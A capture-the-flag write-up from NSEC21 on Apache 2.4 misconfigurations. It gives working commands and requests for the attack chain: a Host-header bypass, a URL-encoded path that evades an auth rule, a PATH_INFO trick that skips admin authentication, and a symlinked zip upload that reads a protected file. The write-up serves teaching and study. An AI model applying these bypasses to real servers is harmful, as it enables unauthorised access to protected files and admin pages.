NSEC21 Librorum Perfide - Tue, May 25, 2021 - Jean Privat Marcan
Knowledge is power, France is bacon, RTFM | Misc | Nsec21
This was a really nice challenge about various (mis)configurations of an Apache2.4 web server.
Enter The Library
The Librorum Perfide is a novel way to share books and other content! Better than the library of Alexandria! Check here to see what is currently availlable.
We have a website. A /upload
directory with a single file x.php
non executed, but we have the source!
<?php
phpinfo();
?>
There is also two links /admin
and /backup
that are password protected.
And that’s all.
…
Nothing else.
Ask For A Librarian
For some hours we did nothing. Then come back and run tachyon (yeah, I’m old school and just don’t know what kind of tools cool kids are using since I told them to get out of my lawn).
And .htaccess
was discovered to be accessible.
Ook?
$ curl http://librorum.ctf/.htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
# rewrite server and backup in this folder
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^server "/var/www/html/server/" [NC]
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^backup "/var/www/html/backup/" [NC]
# server only on localhost endpoints
RewriteCond %{SERVER_NAME} !server.localhost [NC]
RewriteRule ^server - [R=403,L]
# rewrite to index
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ "/var/www/html/" [L]
</IfModule>
So, what is this mess? Just sit down and read a book.
Do Public Libraries Accept Non-Residents?
The following lines are nice:
RewriteCond %{SERVER_NAME} !server.localhost [NC]
RewriteRule ^server - [R=403,L]
Basically, there is a /server
path only accessible for people that asks for the host server.localhost
.
Obviously, there is no check and the server let anyone enter if they ask for the right server.
$ wget --header 'host: server.localhost' -m http://librorum.ctf/server/
Et voilĂ .
/server
is a browsable directory with some nice things related to the server.
access.log
a 20MB big log of Apache requests (because we filled it with tachyon and possibly other enumeration attempts). Usually these kind of files reside in/var/log/apache2/
, but whatever…main.php
that seems to just runphpinfo()
(maybe our old friendx.php
?). It means that this directory does execute php scripts.vhost.conf
an Apache2 site configuration. Usually they live in/etc/apache2/sites-available/
.
Thanks server!
Travel Through L-space
Here we are.
$ cat vhost.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#flag-RobMcCoolWasHere
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
SetEnvIf Request_URI "(^.*$)" REQUEST_URI=$1
CustomLog ${APACHE_LOG_DIR}/access.log combined
# Write logs so that we can see them on the web
CustomLog /var/www/html/server/access.log combined
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{THE_REQUEST} /backup
RewriteRule ^ - [E=require_auth:true,END]
# Only allow if from localhost
RewriteCond %{SERVER_NAME} server.localhost
# Make the server-status work (unfortunate clash with protected /server folder)
RewriteRule /server-status - [END]
# Make sure admin is protected
RewriteRule /admin - [E=require_auth:true,END]
</IfModule>
<Directory /var/www/html/backup/>
AllowOverride None
<FilesMatch \.php$>
SetHandler plain/text
</FilesMatch>
</Directory>
<Directory /var/www/html/upload/>
<FilesMatch ".+$">
SetHandler plain/text
</FilesMatch>
Options FollowSymLinks Indexes
AllowOverride None
</directory>
<Directory /var/www/html/>
AuthUserFile /flag
AuthName "Please Enter Password"
AuthType Basic
# Setup a deny/allow
Order Deny,Allow
# Deny from everyone
Deny from all
# except if either of these are satisfied
Satisfy any
# 1. a valid authenticated user
Require valid-user
# or 2. the "require_auth" var is NOT set
Allow from env=!require_auth
</Directory>
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
What we have
- A first flag (1/4)!
/backup
and/admin
require auth (although with two distinct pieces of configuration). With flags?/upload
and/backup
don’t execute.php
scripts (although with two slightly different syntax)./server-status
is accessible for local resident./upload
does follow symlinks.- And another flag at the root of the file system (
/flag
).
Hum.
Libraries Are Mostly Old Dusty Stuff
Let’s go with the following lines
RewriteCond %{THE_REQUEST} /backup
RewriteRule ^ - [E=require_auth:true,END]
If the request matches /backup
then require auth.
What is weird is not requiring auth inside <Directory /var/www/html/backup/>
and also the use of THE_REQUEST
.
According to the documentation (RTFM)
THE_REQUEST
The full HTTP request line sent by the browser to the server (e.g., “GET /index.html HTTP/1.1
”). This does not include any additional headers sent by the browser. This value has not been unescaped (decoded), unlike most other variables below.
Ok, so this tries to match something in the first HTTP line, verbatim, including escaped character like %20
.
It means that the unescaping is done after the matching so we can access backup
without literally using the string backup
.
$ wget -m http://librorum.ctf/b%61ckup/
Nice.
You Cannot Scribble in Books From The Library
Inside the backup directory, there is only a single file upload.php
(not executable) with a flag #FLAG-Un1c0d3isFun
(2/4). Indeed, unicode is fun, but urlencoding is serious business.
upload.php
also contains the script to upload files.
With possibly some data exfiltation or remote code executions once we can upload things.
But we cannot execute the script. We need to find a way to execute something useful.
Each His Own Way, Each His Own Path…
… Each His Own Dream, Each His Own Destiny — Uncle David
Access logs are customized. There is the detail about 3 things: the requested URI, the path info and if auth is required.
2001:470:b2b5:2050:1::1008 - - [22/May/2021:18:31:02 +0000] "GET / HTTP/1.1" 200 1024 REQUEST_URI:/ PATH_INFO:- require_auth:-
What is the damn PATH_INFO
?
AcceptPathInfo Directive
This directive controls whether requests that contain trailing pathname information that follows an actual filename (or non-existent file in an existing directory) will be accepted or rejected. The trailing pathname information can be made available to scripts in the
PATH_INFO
environment variable.For example, assume the location
/test/
points to a directory that contains only the single filehere.html
. Then requests for/test/here.html/more
and/test/nothere.html/more
both collect/more
asPATH_INFO
.[…]
Default The treatment of requests with trailing pathname information is determined by the handler responsible for the request. The core handler for normal files defaults to rejecting
PATH_INFO
requests. Handlers that serve scripts, such as cgi-script and isapi-handler, generally acceptPATH_INFO
by default.
Note that the php handler also accept PATH_INFO
by default. (thanks php)
But what about RewriteRule
do they match the whole path including the PATH_INFO
?
DPI|discardpath. The DPI flag causes the
PATH_INFO
portion of the rewritten URI to be discarded. In per-directory context, the URI each RewriteRule compares against is the concatenation of the current values of the URI andPATH_INFO
. The current URI can be the initial URI as requested by the client, the result of a previous round of mod_rewrite processing, or the result of a prior rule in the current round of mod_rewrite processing.
So by default, PATH_INFO
is considered when applying RewriteRule
.
But our issue is not to apply some rule, but to stop applying the one that force authentication.
RewriteRule /admin - [E=require_auth:true,END]
If only there was a way to stop applying RewriteRule!
END. Using the [END] flag terminates not only the current round of rewrite processing (like [L]) but also prevents any subsequent rewrite processing from occurring in per-directory (htaccess) context.
We can use this piece of new knowledge. [END]
is used just above with a RewriteRule
that does not activate auth.
# Only allow if from localhost
RewriteCond %{SERVER_NAME} server.localhost
# Make the server-status work (unfortunate clash with protected /server folder)
RewriteRule /server-status - [END]
# Make sure admin is protected
RewriteRule /admin - [E=require_auth:true,END]
Indeed. Clash there is…
So we can try to access some php script inside /admin
directory if we provide /server-status
as PATH_INFO
that will likely be ignored by the php script.
Lets try /admin/upload.php
since there is a /backup/upload.php
.
Note: We still need the server.localhost
host header.
$ curl --header 'host: server.localhost' http://librorum.ctf/admin/upload.php/server-status
It works! But there’s no flag… We can try to access the classic index.php
file.
$ curl --header 'host: server.localhost' http://librorum.ctf/admin/index.php/server-status
Here’s our flag (3/4): flag-YouGetAdminEveryOneGetsAdmin
Zipping Through The Library
Now we can upload files inside the /upload
directory but only zipfiles.
We skip most of the contents of the upload.php
source (that we got from /b%61ckup/upload.php
) and show only the interesting part:
if (strpos($_FILES['fileToUpload']['name'],'402051F4BE0CC3AAD33BCF3AC3D6532B')!== FALSE) {
$x = system('unzip -d /var/www/html/upload '.$_FILES['fileToUpload']['tmp_name'] );
}
The zip will be extracted only when the file is named 402051F4BE0CC3AAD33BCF3AC3D6532B.zip
(not that much a challenge).
But even if there is some php file inside, we cannot execute them.
We had two ideas:
- add a
.htaccess
in the zipfile to change the rules (boring!) - add a symbolic link inside the zipfile to access some random places like
/
or directly/flag
(the Apache AuthUserFile). Note: the option--symlinks
is required when creating an archive and preserve symlinks but nothing is required to extract such an archive.
$ ln -s /flag
$ zip 402051F4BE0CC3AAD33BCF3AC3D6532B.zip --symlinks flag
Once your zip file is created, you can upload it to the server:
POST /admin/upload.php/server-status HTTP/1.1
Host: server.localhost
Content-Type: multipart/form-data; boundary=---------------------------413626074336049382122189072119
Content-Length: 544
Connection: close
-----------------------------413626074336049382122189072119
Content-Disposition: form-data; name="fileToUpload"; filename="402051F4BE0CC3AAD33BCF3AC3D6532B.zip"
Content-Type: application/zip
...
If everything went right, the symlink to /flag
should be extracted and available in the /upload
directory.
$ curl http://librorum.ctf/upload/flag
Well done, we got the last flag (4/4) flag-7829c7bf330887e719601ea2d457e336
Acknowledgments
This challenge was insane, hours reading the doc, trying various things, eliminating the impossible and keeping the improbable truth. So thanks to Klam, Fob, Sideni and Mathieu.